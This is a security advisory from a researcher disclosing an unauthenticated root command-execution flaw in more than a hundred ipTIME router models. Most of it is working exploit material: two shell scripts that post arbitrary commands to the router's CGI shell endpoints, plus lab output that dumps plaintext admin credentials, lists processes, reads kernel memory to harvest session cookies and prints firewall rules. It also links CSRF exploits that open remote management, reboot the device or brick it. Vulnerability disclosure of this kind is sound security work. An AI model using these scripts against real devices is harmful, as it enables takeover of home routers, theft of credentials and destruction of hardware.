-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
Please find a text-only version below sent to security mailing-lists.
The complete version on exploits about my last advisory of ipTIME
products is posted here:
https://pierrekim.github.io/blog/2015-07-01-poc-with-RCE-against-127-iptime-router-models.html
=== text-version of the advisory ===
Disclaimer
This advisory is licensed under a Creative Commons Attribution
Non-Commercial
Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/
As stated in the precedent advisories, ipTIME firmwares prior to 9.58
version are vulnerable to a remote code execution which gives root
privileges.
- From product_db extracted from a live ipTIME system, it concerns at
least these devices:
g1 g104a g104be g104i g104m g501 i1601 ic416 ic426 in524 ip0526
ip300 ip409 ip410 ip416 ip418 ip419 ip422 ip449 ip802 ip803 n104
n104a n104i n104m n2 n3004 n5004 n504 n6004 n604 n604i n604m
n7004 n704 n704m nx505 q1 q304 q504 t1004 t1008 t2008 tq204
tv104 tv108 tv116 tv124 x1005 x3003 x5007 z54g
By analysis updated firmwares, in total 127 devices were affected:
a1004 a1004v a104 a104ns a104r a2004 a2004ns a2004r a2008 a3004
a3004ns a5004ns a604 a604v extac extd2 g1 g104 g104a g104be g104i
g104m g204 g501 g504 ipsmart mini mobap1 multi n1 n104 n104a n104ar1
n104i n104k n104ktt n104m n104p n104q n104r n104r3 n104rsk n104s
n104sr1 n104t n104v n104vlg n1e n1eky n1p n2 n2e n2p n3004 n5 n5004
n504 n5r1 n6004 n6004m n6004r n604 n604a n604i n604m n604p n604r
n604s n604t n604v n604vlg n608 n7004ns n702bcm n704 n704a n704a3
n704bcm n704lg n704m n704mlg n704ns n704s n704v n704v3 n8004 n8004r
n8004v n804 n804a n804a3 n804t n804t3 n804v n904 n904ns n904v ng104
ng304 ntq104 ntv108 ntv116 ntv124 q1 q304 q504 q604 t1004 t1008
t16000 t2008 t24000 t3004 t3008 timeve tq204 tv104 v1016 v1024
v304 v308 v504 wre1 x3003 x3007 x5007 x6003
Here are the working exploits:
Exploit against the firmwares in ALL versions from 2008 to 2015 -
until 9.50 firmware:
$ cat iptime.carnage.l2
#!/bin/sh
if [ ! $1 ]; then
echo "Usage:"
echo $0 ip command
exit 1
fi
wget -qO- --post-data="echo 'Content-type: text/plain';echo;echo;
PATH=$PATH:/sbin $2 $3 $4" http://$1/cgi-bin/sh
Exploit against firmware v9.52:
$ cat iptime.carnage.l2.v9.52
#!/bin/sh
if [ ! $1 ]; then
echo "Usage:"
echo $0 ip command
exit 1
fi
wget -qO- --post-data="echo 'Content-type: text/plain';echo;echo;
PATH=$PATH:/sbin:/bin $2 $3 $4" http://$1/sess-bin/sh
The exploits have been written in HTML/JavaScript, in form of CSRF
attacks, allowing people to test their systems in live using their
browsers:
http://pierrekim.github.io/advisories/
Now we test the exploits in my lab!
o How to retrieve the credentials ? (see login and password at the end
of the text file)
HTML/JS exploits:
For version pre-9.52:
http://pierrekim.github.io/advisories/2015-iptime-0x00-PoC-firmware.pre.9.52-dump.configuration.including.credentials.html
For version 9.52:
http://pierrekim.github.io/advisories/2015-iptime-0x00-PoC-firmware.9.52-dump.configuration.including.credentials.html
Using CLI:
kali# ./iptime.carnage.l2.v9.52 192.168.0.1 cat /tmp/etc/iconfig.cfg
wantype.wan1=dynamic
dhblock.eth1=0
ppp_mtu=1454
fakedns=0
upnp=1
ppp_mtu=1454
timeserver=time.windows.com,gmt23,1,540,0
wan_ifname=eth1
auto_dns=1
dhcp_auto_detect=0
wireless_ifmode+wlan0=wlan0,0
dhcpd=1
lan_ip=192.168.0.1
lan_netmask=255.255.255.0
dhcpd_conf=br0,192.168.0.2,192.168.0.254,192.168.0.1,255.255.255.0
dhcpd_dns=164.124.101.2,168.126.63.2
dhcpd_opt=7200,30,200,
dhcpd_configfile=/etc/udhcpd.conf
dhcpd_lease_file=/etc/udhcpd.leases
dhcpd_static_lease_file=/etc/udhcpd.static
http_auth=session
use_captcha=1
login=test
password=test
org_hwaddr.eth1=90:9F:XX:XX:XX
nat_passthrough=0
kali#
Login and password are stored in plaintext, which is a very bad
security practice.
o Listing of the filesystem
HTML/JS exploits:
For version pre-9.52:
http://pierrekim.github.io/advisories/2015-iptime-0x00-PoC-firmware.pre.9.52-listing.of.the.root.filesystem.html
For version 9.52:
http://pierrekim.github.io/advisories/2015-iptime-0x00-PoC-firmware.9.52-listing.of.the.root.filesystem.html
o Current running process:
HTML/JS exploits:
For version pre-9.52:
http://pierrekim.github.io/advisories/2015-iptime-0x00-PoC-firmware.pre.9.52-current.process.html
For version 9.52:
http://pierrekim.github.io/advisories/2015-iptime-0x00-PoC-firmware.9.52-current.process.html
Using CLI:
kali# ./iptime.carnage.l2.v9.52 192.168.0.1 ps -auxww
PID Uid VmSize Stat Command
1 root 720 S init single
2 root SW [keventd]
3 root RWN [ksoftirqd_CPU0]
4 root SW [kswapd]
5 root SW [bdflush]
6 root SW [kupdated]
7 root SW [mtdblockd]
252 root 1176 S /sbin/dhcpd
270 root 436 S apcpd
272 root 432 S /sbin/iptables-q
299 root 372 S /bin/wscd -start -c /var/wsc.conf -w wlan0
-fi /var/w
303 root 260 S /bin/iwcontrol wlan0
463 root 684 S httpd
496 root 288 S /bin/sh
498 root 300 R ps -auxww
kali#
o Getting the kernel memory:
HTML/JS exploits:
For version pre-9.52:
http://pierrekim.github.io/advisories/2015-iptime-0x00-PoC-firmware.pre.9.52-getting.kernel.memory.html
For version 9.52:
http://pierrekim.github.io/advisories/2015-iptime-0x00-PoC-firmware.9.52-getting.kernel.memory.html
Using CLI:
./iptime.carnage.l2.v9.52 192.168.0.1 cat /proc/kcore
The device runs Linux 2.4.18, 12 year old Linux, full of CVEs
(local AND remote):
<4>Linux version 2.4.18-MIPS-01.00 (rtlwl@ski) (gcc version
3.4.6-1.3.6) #128 Tue Feb 10 10:57:17 KST 2015
<4>early printk enabled
<4>Determined physical RAM map:
<4> memory: 01000000 @ 00000000 (usable)
<4>On node 0 totalpages: 4096
<4>zone(0): 4096 pages.
<4>zone(1): 0 pages.
<4>zone(2): 0 pages.
<4>Kernel command line: root=/dev/mtdblock1 console=0 single
<4>Calibrating delay loop... 399.76 BogoMIPS
<4>Memory: 9500k/16384k available (2310k kernel code, 6884k
reserved, 416k data, 60k init, 0k highmem)
<4>Dentry-cache hash table entries: 2048 (order: 2, 16384 bytes)
<4>Inode-cache hash table entries: 1024 (order: 1, 8192 bytes)
<4>Mount-cache hash table entries: 512 (order: 0, 4096 bytes)
<4>Buffer-cache hash table entries: 1024 (order: 0, 4096 bytes)
<4>Page-cache hash table entries: 4096 (order: 2, 16384 bytes)
o Grabbing the valid HTTP authentication cookies:
kali# ./iptime.carnage.l2.v9.52 192.168.0.1 cat /proc/kcore |
strings | grep Cookie
Cookie: efm_session_id=iNYV3r097DPbMDWu
Cookie: efm_session_id=iNYV3r097DPbMDWu
Cookie: efm_session_id=i3HJh4V15YLkf2l2
Cookie: efm_session_id=i3HJh4V15YLkf2l2
Cookie: efm_session_id=iNYV3r097DPbMDWu
Cookie: efm_session_id=iNYV3r097DPbMDWu
Cookie: efm_session_id=i3HJh4V15YLkf2l2
Cookie: efm_session_id=i3HJh4V15YLkf2l2
Cookie: efm_session_id=i3HJh4V15YLkf2l2
Cookie: efm_session_id=iNYV3r097DPbMDWu
Cookie: efm_session_id=iNYV3r097DPbMDWu
Cookie: efm_session_id=iNYV3r097DPbMDWu
o Default firewall rules:
HTML/JS exploits:
For version pre-9.52:
http://pierrekim.github.io/advisories/2015-iptime-0x00-PoC-firmware.pre.9.52-default.firewall.rules.html
For version 9.52:
http://pierrekim.github.io/advisories/2015-iptime-0x00-PoC-firmware.9.52-default.firewall.rules.html
Using CLI:
kali# ./iptime.carnage.l2.v9.52 192.168.0.1 iptables -nL
Chain INPUT (policy DROP)
target prot opt source destination
DROP 47 -- 0.0.0.0/0 0.0.0.0/0
DROP tcp -- 0.0.0.0/0 0.0.0.0/0 tcp dpt:1723
radius2g all -- 0.0.0.0/0 0.0.0.0/0
ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 tcp spt:25
ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 tcp dpt:80
ACCEPT icmp -- 0.0.0.0/0 0.0.0.0/0
ACCEPT udp -- 0.0.0.0/0 0.0.0.0/0 udp dpts:67:68
ACCEPT udp -- 0.0.0.0/0 0.0.0.0/0 udp spt:53
ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 tcp spt:80
ACCEPT udp -- 0.0.0.0/0 0.0.0.0/0 udp spt:36500
ACCEPT udp -- 0.0.0.0/0 0.0.0.0/0 udp
dpts:33434:33600
ACCEPT icmp -- 192.168.0.1 192.168.0.1 icmp type 8
Chain FORWARD (policy ACCEPT)
target prot opt source destination
TCPMSS tcp -- 0.0.0.0/0 0.0.0.0/0 tcp
flags:0x06/0x02 TCPMSS clamp to PMTU
app_filter all -- 0.0.0.0/0 0.0.0.0/0
app_forward all -- 0.0.0.0/0 0.0.0.0/0
Chain OUTPUT (policy ACCEPT)
target prot opt source destination
Chain app_filter (1 references)
target prot opt source destination
Chain app_forward (1 references)
target prot opt source destination
Chain ext_accesslist (0 references)
target prot opt source destination
DROP tcp -- 0.0.0.0/0 0.0.0.0/0 tcp dpt:80
Chain int_accesslist (0 references)
target prot opt source destination
RETURN all -- 0.0.0.0/0 192.168.255.250
RETURN all -- 0.0.0.0/0 192.168.255.1
DROP tcp -- 0.0.0.0/0 0.0.0.0/0 tcp dpt:80
Chain plantynet (0 references)
target prot opt source destination
plantynet_free all -- 0.0.0.0/0 0.0.0.0/0
QUEUE tcp -- 0.0.0.0/0 0.0.0.0/0
multiport dports 80,8080
Chain plantynet_free (1 references)
target prot opt source destination
Chain radius2g (1 references)
target prot opt source destination
Chain upnp (0 references)
target prot opt source destination
o Opening the management interface on the WAN:
HTML/JS exploits:
For version pre 9.52:
http://pierrekim.github.io/advisories/2015-iptime-0x00-PoC-firmware.pre.9.52-opening.the.firewall.html
For version 9.52:
http://pierrekim.github.io/advisories/2015-iptime-0x00-PoC-firmware.9.52-opening.the.firewall.html
o Reboot the device:
HTML/JS exploits:
For version pre 9.52:
http://pierrekim.github.io/advisories/2015-iptime-0x00-PoC-firmware.pre.9.52-reboot.html
For version 9.52:
http://pierrekim.github.io/advisories/2015-iptime-0x00-PoC-firmware.9.52-reboot.html
o Brick the device:
HTML/JS exploits:
For version pre 9.52:
http://pierrekim.github.io/advisories/2015-iptime-0x00-PoC-firmware.pre.9.52-bricking.the.device.html
For version 9.52:
http://pierrekim.github.io/advisories/2015-iptime-0x00-PoC-firmware.9.52-bricking.the.device.html
By the way, d.cgi in /bin/ is an intentional backdoor from ipTIME.
More fun from iptime products is coming ~~~
Follow me on Twitter @PierreKimSec
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1
iQIcBAEBCgAGBQJVlAGbAAoJEMQ+Dtp9ky28TF8QAIWqBhTV1ogNGYkWNCJ7QU4k
I1zjP4clA3CpfoiMjfCUbEBn7KsKx70+ZVVIU4y4d9l8jJeTAMN3X4YBDTncnky9
le3QSjdjbxs2cMCwWN7QgnCTDjRocllrGCg5r3TpIWxFRHA3mHMYmUlDqEnJ2n79
I4ta+ZxixCOfuAeZr2BgmXYfcYpxZwgYVPpe6IaGkrcaRpexW6sJohMCgQ/7ECDa
HJaSp5wzINdbtp3UfILuEsRBB3jj9LbFOX8IwgJ9JJvk2dT2n+Qutk8zCKKCOYW+
cuBMcDUq43qUoDZcQYpYTu//l/YJLBGDKSWWSVwMBzsgG5AknKQwtgXAxvFm5yU3
b2ShJeSLXNaCEXia+owW9zITfchzaxlGrEBrtv9xdv/UgH3JeVnbXQ8gvIL4w/y2
/2hAcH5Xe0wlRy7ipMvhaZo5NtITearo9bUgJzVtFX3OUtIUH5Zwk4oU+uT2z/n0
IAyTao20MK1Q/HGPgKiD0xRisfDfTI4wJSbV1FRvNcmtZ715gr84Mu7jIf3oRDpY
0SECXAodlxlllJJGHYXgx6yIYXKdD+LT14SBcpobtqy0yBmltMsPrBtg0/FsDtVr
yYz9FmPlkuFgqY7mSCbT31GCWwy4YnGGRXKF4XNKq6cnDZ9iY0Lr7SAz/r0jXzBR
pcfE2fQqJLiKxeUbzyPM
=Yd4L
-----END PGP SIGNATURE-----
--
Pierre Kim
pierre.kim.sec@gmail.com
@PierreKimSec
https://pierrekim.github.io/
